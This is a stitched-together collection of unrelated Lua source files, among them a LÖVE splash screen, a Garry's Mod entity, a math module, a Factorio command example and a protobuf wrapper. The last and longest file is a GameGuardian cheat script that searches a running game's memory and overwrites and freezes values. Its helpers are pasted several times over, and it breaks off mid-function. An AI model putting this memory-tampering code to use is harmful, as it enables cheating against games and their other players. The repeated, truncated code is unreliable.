self.imgWidth, self.imgHeight = self.image:getDimensions()
end
function Splash:update(dt)
if love.timer.getTime() - self.startTime > 2 and not self.done then
love.event.push('nextstate')
self.done = true
end
end
function Splash:draw()
love.graphics.setBackgroundColor(252,230,139)
love.graphics.draw(self.image, ww / 2 - self.imgWidth / 2, wh / 2 - self.imgHeight / 2)
end
return Splash
|
ENT.Type = "anim"
ENT.Base = "base_gmodentity"
ENT.PrintName = "Base Docking Clamp"
ENT.Author = "Paradukes, Hysteria"
ENT.Category = "SBEP"
ENT.Spawnable = false
ENT.AdminSpawnable = false
ENT.Owner = nil
ENT.CPL = nil
ENT.MDist = 2000000
ENT.ScanDist = 2000
ENT.DockMode = 1 -- 0 = Disengaging, 1 = Inactive, 2 = Ready to dock, 3 = Attempting to dock, 4 = Docked
ENT.ClDockMode = 1 -- Used to send the DMode client-side for effects
ENT.IsAirLock = true
ENT.ConstraintTable = {}
ENT.mdl = Model("models/spacebuild/s1t1.mdl")
local DCDockType = list.Get( "SBEP_DockingClampModels" )
local DD = list.Get( "SBEP_DoorControllerModels" )
function ENT:FindModelSize()
local oldmodel = self:GetModel()
self:SetModel(self.mdl)
local cmins, cmaxs = self:GetModelBounds()
self:SetModel(oldmodel)
local dist = cmins:Distance(cmaxs)/2
dist = dist * 0.1
dist = math.floor(dist)
dist = dist * 10
dist = math.max(10, dist)
return dist
end
function ENT:SetupDataTables()
self:NetworkVar("Entity", 0, "LinkLock")
self:NetworkVar("Int", 1, "DockMode")
self:NetworkVar("Int", 2, "MDist")
self:NetworkVar("String", 3, "TubeModel")
self:NetworkVar("Angle", 4, "Dir")
end
function ENT:GetEFPoints()
self.EFPoints = DCDockType[self:GetModel()].EfPoints
self.EfPoints = DCDockType[self:GetModel()].EfPoints
end
function ENT:CalcCenterPos()
local pos = self:GetPos()
if DCDockType[self:GetModel()].Center then
pos = self:LocalToWorld(DCDockType[self:GetModel()].Center)
end
return pos
end
function ENT:CalcForward()
local dir = DCDockType[self:GetModel()].Forward
local ang = dir:Angle()
self.Forward = self:LocalToWorldAngles(ang):Forward()
return self.Forward
end
if SC then
function ENT:FindAllConnectedShips(cores, clamps)
local connectedShips = cores or {}
if IsValid(self.LinkLock) and IsValid(self.SC_CoreEnt) and IsValid(self.LinkLock.SC_CoreEnt) then
local checkedclamps = clamps or {self}
connectedShips[tostring(self.SC_CoreEnt:EntIndex())] = self.SC_CoreEnt
table.insert(checkedclamps, self)
if IsValid(self.SC_CoreEnt) and IsValid(self.LinkLock.SC_CoreEnt) then
for k,v in pairs(self.LinkLock.SC_CoreEnt.ConWeldTable) do
if v.IsAirLock and !table.HasValue(checkedclamps, v) then
table.Merge(connectedShips, v:FindAllConnectedShips(connectedShips, checkedclamps))
end
end
end
end
return connectedShips
end
end |
---
-- @description Implements surface-related classes and functions.
-- @author simplex
local Lambda = wickerrequire 'paradigms.functional'
local Pred = wickerrequire 'lib.predicates'
local Common = pkgrequire "common"
local VVF = Common.VectorValuedFunction
local C = wickerrequire "math.complex"
Surface = Class(function(self, fn)
assert( Lambda.IsFunctional(fn) )
self.fn = fn
end)
local Surface = Surface
Pred.IsSurface = Pred.IsInstanceOf(Surface)
function Surface:__call(u, v)
return self.fn(u, v)
end
function Singleton(x)
return Surface(Lambda.Constant(x))
end
Constant = Singleton
function Surface.__add(sigma, v)
return Surface(VVF.Transpose(sigma, v))
end
function Surface.__mul(sigma, lambda)
return Surface(VVF.Scale(sigma, lambda))
end
---------------------------
function Rectangle(w, h)
return Surface(function(u, v)
return C(w*u, h*v)
end)
end
UnitSquare = Rectangle(1, 1)
--[[
-- This only really preserves fractional area when inner_radius is 0
-- (i.e., when it is a disk sector).
--]]
function AnnularSector(outer_radius, inner_radius, theta, theta0)
outer_radius = outer_radius or 1
inner_radius = inner_radius or 0
theta = theta or 2*math.pi
theta0 = theta0 or 0
local radius_diff = outer_radius - inner_radius
local theta_frac = theta/8
return Surface(function(u, v)
local r, delta
local a, b = 2*u - 1, 2*v - 1
local phi
if a > -b then
if a > b then
r = a
phi = theta_frac*(b/a)
else
r = b
phi = theta_frac*(2 - a/b)
end
else
if a < b then
r = -a
phi = theta_frac*(4 + b/a)
else
r = -b
if b ~= 0 then
phi = theta_frac*(6 - a/b)
else
phi = 0
end
end
end
local R = inner_radius + r*radius_diff
delta = phi + theta_frac + theta0
return C.Polar(R, delta)
end)
end
function DiskSector(radius, theta, theta0)
return AnnularSector(radius, 0, theta, theta0)
end
function Annulus(outer_radius, inner_radius, theta0)
return AnnularSector(outer_radius, inner_radius, 2*math.pi, theta0)
end
function Disk(radius, theta0)
return DiskSector(radius, 2*math.pi, theta0)
end
UnitDisk = Disk(1)
return _M
|
--[[
Basic Function Setup:
function(player, args) -- args is an array and can be empty
...
-- do stuff
...
end
]]--
--Example Without arguments
function test_cmd1(player, args)
for _, player_x in pairs(game.players) do
player_x.print("Hello from " .. player.surface.name .. "!")
end
end
--Example With arguments
function test_cmd2(player, args)
if #args == 0 then
player.print("This command requires at least one argument!")
else
local msg = ""
for _, arg in pairs(args) do
msg = msg .. " " .. arg
end
for _, player_x in pairs(game.players) do
player_x.print("Testing arguments! "..msg)
end
end
end
--[[
Adding Commands
Create a new LuaRemote Interface, required with 'cc_<mod_name>' as the naming convention to prevent duplicates causing errors and ensure
the api detects the commands
The name used to call the remote function will be the name of the actual command, for example lets create an interface for
my_function() with a command called mycmd
remote.add_interface("cc_my_cool_mod_name", {mycmd = my_function})
You only need one interface to register all your commands, they are separated by commas.
]]--
remote.add_interface("cc_test", {test1 = test_cmd1, test2 = test_cmd2})
--[[
Adding Command Descriptions (completely optional)
To add command descriptions create a function without any parameters that returns a table with the set-up shown below
function my_function()
local tble = {
cc_<mod_name> = {
{
command = "<my command>",
description = "<my description>"
},
{
command = "<my command>",
description = "<my description>"
}
... etc ...
}
}
return tble
end
Then create a new interface with "ccd_<mod_name>" as the naming convention to ensure its detection and no errors occur
The call function name must be called 'descriptions' or it will not work (as shown below)
remote.add_interface("ccd_<mod_name>", {descriptions = example_descriptions})
--]]
function example_descriptions()
local tble = {
cc_test = {
{
command = "test1",
description = "An example command without any arguments"
},
{
command = "test2",
description = "An example command with arguments"
}
}
}
return tble
end
remote.add_interface("ccd_test", {descriptions = example_descriptions}) |
-- Converts messages generated from Serializers.StringChunks
--
-- See Also:
-- Serializers-StringChunks.lua
if nil ~= require then
require "fritomod/currying";
require "fritomod/Functions";
require "fritomod/OOP-Class";
end;
StringChunkReader = OOP.Class("StringChunkReader");
local DELIMITER_BYTE=(":"):byte(1);
function StringChunkReader:Constructor()
self.messages={};
self.listeners={};
end;
function StringChunkReader:Add(listener, ...)
return Lists.InsertFunction(self.listeners, listener, ...);
end;
function StringChunkReader:Dispatch(message, who, ...)
trace("Dispatching %q from %q", message, who);
Lists.CallEach(self.listeners, message, who, ...);
end;
function StringChunkReader:Read(chunk, who, ...)
who = who or "";
trace("Received %q from %q", chunk, who);
if chunk:byte(1)==DELIMITER_BYTE then
-- It's a headless chunk, so dispatch it directly.
self:Dispatch(chunk:sub(2), who, ...);
else
local header, data=unpack(Strings.Split(":", chunk, 2));
local id=who..header;
if not self.messages[id] then
-- A new message
self.messages[id]={};
self.messages[id].dataLength=#data;
end;
if data then
table.insert(self.messages[id], data);
end;
if not data or #data < self.messages[id].dataLength then
-- Any empty data or data that's less than previous
-- submissions is interpreted as end-of-message.
local message=table.concat(self.messages[id], "");
self.messages[id]=nil;
self:Dispatch(message, who, ...);
end;
end;
end;
Callbacks = Callbacks or {};
-- This is a callback that will piece together string chunks provided from
-- the specified source.
--
-- local r=Callbacks.StringChunks(Remote["FritoMod.Chat"], function(msg, who)
-- printf("%s said %q", who, msg);
-- end);
--
-- You'll pretty much always use this in tandem with Serializers.StringChunks,
-- who would send:
--
-- local prefix = "FritoMod.Chat";
-- Remote[prefix].g(Serializers.WriteStringChunks(aSuperLongString, prefix));
--
-- source
-- A function that provides data to registered callbacks. Remote is
-- by far the most common source.
-- callback, ...
-- A callback that expects messages from the source. The callback will
-- be invoked whenever a full message is received.
-- returns
-- a function that disables this callback.
-- see
-- Serializers.StringChunks for the other side of this function.
function Callbacks.StringChunks(source, callback, ...)
local reader = StringChunkReader:New();
reader:Add(callback, ...);
return source(Curry(reader, "Read"));
end;
|
--[[
Copyright (c) 2014 Juan Carlos González Amestoy
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
--]]
local ffi=require('ffi')
local re=require('h.text.re')
local colors=require('h.color').colors
ffi.cdef[[
void rvmCommandResultAddLine(void* string,double r,double g,double b,const char* str);
]]
local g=re.compile([[
c<-%s* {[^%s]+} %s* {.*}
]])
local dispatcher={}
local commandCache={}
local lastCommand
diskCache={}
local function doColorStream(ptr)
local r={}
local rmt={}
local color=colors.white()
function rmt.__index(t,k)
--print(t,k)
local c=colors[k]
if c then
color=c()
return t
else
return nil
end
end
function rmt.__call(o,str,...)
--print(o,str,...)
--print('pre print')
dispatcher.print(ptr,str:format(...),color)
--print('post print')
return o
end
setmetatable(r,rmt)
return r
end
function dispatcher.register(command)
local cmd=require(command)
commandCache[cmd.name]=cmd
commandCache[cmd.abbr]=cmd
end
function dispatcher.doCmd(ptr,selfPtr,command)
local n,p=g:match(command)
local c=commandCache[n]
ptr=ffi.cast('void*',ptr)
selfPtr=ffi.cast('void*',selfPtr)
local cs=doColorStream(ptr)
if c then
lastCommand=c
return c:doCmd(cs,p,selfPtr)
else
if not command or command=='' then
return lastCommand:doCmd(cs,'',selfPtr)
else
cs.red('Unrecognized command "').white('%s',command).red('"\n')
end
end
return 0;
end
function dispatcher.print(ptr,str,color)
color=color and color or colors.white()
ffi.C.rvmCommandResultAddLine(ptr,color.r,color.g,color.b,str);
end
return dispatcher |
-- JSProtobuf.lua
-- Description: protobuf编解码封装
import('Protobuf')
local JSProtobuf = class("JSProtobuf")
function JSProtobuf:ctor( )
self.m_registerMap = {}
self.m_configMap = {}
end
--[[
@desc: pb编码
author:{author}
time:2019-05-21 18:42:20
--@name: GamePb.method
--@data: 数据(Table)
@return:
]]
function JSProtobuf:encode(name, data)
if not name or not data then
Log.e("JSProtobuf:encode -- name or data is nil")
return
end
if not self.m_configMap[name] then
Log.e("JSProtobuf:encode -- PBFile not register!")
return
end
local pbMethod = self.m_configMap[name].method
return protobuf.encode(pbMethod,data)
end
--[[
@desc: pb解码
author:{author}
time:2019-05-21 18:53:31
--@name: GamePb.method
--@buf: 待解码数据
@return:
]]
function JSProtobuf:decode(name, buf)
if not name or not buf then
Log.e("JSProtobuf:decode -- name or data is nil")
return
end
if not self.m_configMap[name] then
Log.e("JSProtobuf:decode -- PBFile not register!")
return
end
local pbMethod = self.m_configMap[name].method
local pbTable = protobuf.decode(pbMethod,buf)
local tmp = {}
for k,v in pairs(pbTable) do
local mtype = type(v)
tmp[k] = v
end
return tmp
end
--[[
@desc: 注册pb文件
author:{author}
time:2019-05-21 18:43:14
--@pbObj: pb配置文件
@return:
]]
function JSProtobuf:registerFile(pbObj)
local filePath = pbObj.S_PATH
if self.m_registerMap[filePath] then
return
end
local fullPath = cc.FileUtils:getInstance():fullPathForFilename(filePath)
protobuf.register_file(fullPath)
self.m_registerMap[filePath] = true
local config = pbObj.config or {}
for k,v in pairs(config) do
self.m_configMap[k] = v
end
end
function JSProtobuf.unpack(pattern, buffer, length)
return protobuf.unpack(pattern, buffer, length)
end
function JSProtobuf.pack(pattern, ...)
return protobuf.pack(pattern, ...)
end
return JSProtobuf |
print(arg[0])
|
-- Build By SilentX
-- Fell Free To Copy And Removing Credit
-- I Recommend Not To Use Main ID Game is For Fun Don't Take it Seriously
-- Execute This script At Logo
function split(szFullString, szSeparator)
local nFindStartIndex = 1
local nSplitIndex = 1
local nSplitArray = {}
while true do
local nFindLastIndex = string.find(
szFullString,
szSeparator,
nFindStartIndex
)
if not nFindLastIndex then
nSplitArray[nSplitIndex] = string.sub(
szFullString,
nFindStartIndex,
string.len(szFullString)
)
break
end
nSplitArray[nSplitIndex] = string.sub(
szFullString,
nFindStartIndex,
nFindLastIndex - 1
)
nFindStartIndex = nFindLastIndex + string.len(szSeparator)
nSplitIndex = nSplitIndex + 1
end
return nSplitArray
end
function xgxc(szpy, qmxg)
for x = 1, #(qmxg) do
xgpy = szpy + qmxg[x]["offset"]
xglx = qmxg[x]["type"]
xgsz = qmxg[x]["value"]
gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}})
xgsl = xgsl + 1
end
end
function xqmnb(karar)
gg.clearResults()
gg.setRanges(karar[1]["memory"])
gg.searchNumber(karar[3]["value"], karar[3]["type"])
if gg.getResultCount() == 0 then
gg.toast(karar[2]["name"] .. "")
else
gg.refineNumber(karar[3]["value"], karar[3]["type"])
gg.refineNumber(karar[3]["value"], karar[3]["type"])
gg.refineNumber(karar[3]["value"], karar[3]["type"])
if gg.getResultCount() == 0 then
gg.toast(karar[2]["name"] .. "")
else
sl = gg.getResults(999999)
sz = gg.getResultCount()
xgsl = 0
if sz > 999999 then
sz = 999999
end
for i = 1, sz do
pdsz = true
for v = 4, #(karar) do
if pdsz == true then
pysz = {}
pysz[1] = {}
pysz[1].address = sl[i].address + karar[v]["offset"]
pysz[1].flags = karar[v]["type"]
szpy = gg.getValues(pysz)
pdpd = karar[v]["lv"] .. ";" .. szpy[1].value
szpd = split(pdpd, ";")
tzszpd = szpd[1]
pyszpd = szpd[2]
if tzszpd == pyszpd then
pdjg = true
pdsz = true
else
pdjg = false
pdsz = false
end
end
end
if pdjg == true then
szpy = sl[i].address
xgxc(szpy, qmxg)
xgjg = true
end
end
if xgjg == true then
gg.toast(karar[2]["name"] .. "Modified " .. xgsl .. " Values🔍")
else
gg.toast(karar[2]["name"] .. "")
end
end
end
end
function SearchWrite(Search, Write, Type) gg.clearResults() gg.setVisible(false) gg.searchNumber(Search[1][1], Type) local count = gg.getResultCount() local result = gg.getResults(count) gg.clearResults() local data = {} local base = Search[1][2] if (count > 0) then for i, v in ipairs(result) do v.isUseful = true end for k=2, #Search do local tmp = {} local offset = Search[k][2] - base local num = Search[k][1] for i, v in ipairs(result) do tmp[#tmp+1] = {} tmp[#tmp].address = v.address + offset tmp[#tmp].flags = v.flags end tmp = gg.getValues(tmp) for i, v in ipairs(tmp) do if ( tostring(v.value) ~= tostring(num) ) then result[i].isUseful = false end end end for i, v in ipairs(result) do if (v.isUseful) then data[#data+1] = v.address end end if (#data > 0) then gg.toast(Name.." 修改"..#data.."条数据") local t = {} local base = Search[1][2] for i=1, #data do for k, w in ipairs(Write) do offset = w[2] - base t[#t+1] = {} t[#t].address = data[i] + offset t[#t].flags = Type t[#t].value = w[1] if (w[3] == true) then local item = {} item[#item+1] = t[#t] item[#item].freeze = true gg.addListItems(item)end end end gg.setValues(t) else gg.toast(Name.." 开启失败", false) return false end else gg.toast(Name.." 开启失败") return false end end function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) xgsl = xgsl + 1 end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) xgjg = true end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "开启成功,共修改" .. xgsl .. "条ΔΘ") else gg.toast(qmnb[2]["name"] .. "开启失败") end end end end function PS() end function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end
function SearchWrite(Search, Write, Type) gg.clearResults() gg.setVisible(false) gg.searchNumber(Search[1][1], Type) local count = gg.getResultCount() local result = gg.getResults(count) gg.clearResults() local data = {} local base = Search[1][2] if (count > 0) then for i, v in ipairs(result) do v.isUseful = true end for k=2, #Search do local tmp = {} local offset = Search[k][2] - base local num = Search[k][1] for i, v in ipairs(result) do tmp[#tmp+1] = {} tmp[#tmp].address = v.address + offset tmp[#tmp].flags = v.flags end tmp = gg.getValues(tmp) for i, v in ipairs(tmp) do if ( tostring(v.value) ~= tostring(num) ) then result[i].isUseful = false end end end for i, v in ipairs(result) do if (v.isUseful) then data[#data+1] = v.address end end if (#data > 0) then gg.toast(Name.." 修改"..#data.."条数据") local t = {} local base = Search[1][2] for i=1, #data do for k, w in ipairs(Write) do offset = w[2] - base t[#t+1] = {} t[#t].address = data[i] + offset t[#t].flags = Type t[#t].value = w[1] if (w[3] == true) then local item = {} item[#item+1] = t[#t] item[#item].freeze = true gg.addListItems(item)end end end gg.setValues(t) else gg.toast(Name.." 开启失败", false) return false end else gg.toast(Name.." 开启失败") return false end end function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) xgsl = xgsl + 1 end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) xgjg = true end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "开启成功,共修改" .. xgsl .. "条ΔΘ") else gg.toast(qmnb[2]["name"] .. "开启失败") end end end end function PS() end function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end
function SearchWrite(Search, Write, Type) gg.clearResults() gg.setVisible(false) gg.searchNumber(Search[1][1], Type) local count = gg.getResultCount() local result = gg.getResults(count) gg.clearResults() local data = {} local base = Search[1][2] if (count > 0) then for i, v in ipairs(result) do v.isUseful = true end for k=2, #Search do local tmp = {} local offset = Search[k][2] - base local num = Search[k][1] for i, v in ipairs(result) do tmp[#tmp+1] = {} tmp[#tmp].address = v.address + offset tmp[#tmp].flags = v.flags end tmp = gg.getValues(tmp) for i, v in ipairs(tmp) do if ( tostring(v.value) ~= tostring(num) ) then result[i].isUseful = false end end end for i, v in ipairs(result) do if (v.isUseful) then data[#data+1] = v.address end end if (#data > 0) then gg.toast(Name.." 修改"..#data.."条数据") local t = {} local base = Search[1][2] for i=1, #data do for k, w in ipairs(Write) do offset = w[2] - base t[#t+1] = {} t[#t].address = data[i] + offset t[#t].flags = Type t[#t].value = w[1] if (w[3] == true) then local item = {} item[#item+1] = t[#t] item[#item].freeze = true gg.addListItems(item)end end end gg.setValues(t) else gg.toast(Name.." 开启失败", false) return false end else gg.toast(Name.." 开启失败") return false end end function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) xgsl = xgsl + 1 end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) xgjg = true end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "开启成功,共修改" .. xgsl .. "条ΔΘ") else gg.toast(qmnb[2]["name"] .. "开启失败") end end end end function PS() end function setvalue(address,flags,value) PS('修改地址数值(地址,数值类型,要修改的值)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end
function setvalue(address,flags,value) PS(' Python value(Lib, value type, value to be modified)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end
function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find (szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len (szFullString)) break end nSplitArray[nSplitIndex] = string.sub (szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len (szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] xgdj = qmxg[x]["freeze"] if xgdj == nil or xgdj == "" then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "开启失败") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "开启成功,一共修改" .. xgsl .. "条数据") else gg.toast(qmnb[2]["name"] .. "未搜索到数据,开启失败") end end end end function SearchWrite(Search, Write, Type) gg.clearResults() gg.setVisible(false) gg.searchNumber(Search[1][1], Type) local count = gg.getResultCount() local result = gg.getResults(count) gg.clearResults() local data = {} local base = Search[1][2] if (count > 0) then for i, v in ipairs(result) do v.isUseful = true end for k=2, #Search do local tmp = {} local offset = Search[k][2] - base local num = Search[k][1] for i, v in ipairs(result) do tmp[#tmp+1] = {} tmp[#tmp].address = v.address + offset tmp[#tmp].flags = v.flags end tmp = gg.getValues(tmp) for i, v in ipairs(tmp) do if ( tostring(v.value) ~= tostring(num) ) then result[i].isUseful = false end end end for i, v in ipairs(result) do if (v.isUseful) then data[#data+1] = v.address end end if (#data > 0) then local t = {} local base = Search[1][2] for i=1, #data do for k, w in ipairs(Write) do offset = w[2] - base t[#t+1] = {} t[#t].address = data[i] + offset t[#t].flags = Type t[#t].value = w[1] if (w[3] == true) then local item = {} item[#item+1] = t[#t] item[#item].freeze = true gg.addListItems(item) end end end gg.setValues(t) gg.toast("开启成功,一共修改"..#t.."条数据") gg.addListItems(t) else gg.toast("未搜索到数据,开启失败", false) return false end else gg.toast("Not Found") return false end end
function setvalue(address,flags,value) local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end
function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) xgsl = xgsl + 1 end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + 